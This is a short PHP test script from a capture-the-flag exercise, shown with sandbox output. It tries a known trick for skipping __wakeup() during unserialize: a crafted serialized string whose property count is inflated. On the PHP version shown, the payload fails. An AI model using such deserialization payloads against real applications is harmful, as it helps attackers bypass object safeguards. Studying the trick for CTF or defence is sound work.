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<?php // test.php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } // 测试1：正常反序列化 $obj = new xctf(); $ser = serialize($obj); echo "正常序列化: " . $ser . "\n\n"; // 测试2：修改数量后的字符串 $payload = 'O:4:"xctf":2:{s:4:"flag";s:3:"111";}'; echo "修改数量: " . $payload . "\n"; $result = unserialize($payload); var_dump($result); ?>
Output for git.master_jit, git.master
正常序列化: O:4:"xctf":1:{s:4:"flag";s:3:"111";} 修改数量: O:4:"xctf":2:{s:4:"flag";s:3:"111";} Warning: unserialize(): Unexpected end of serialized data in /in/9iGE6 on line 18 Warning: unserialize(): Error at offset 35 of 36 bytes in /in/9iGE6 on line 18 bool(false)

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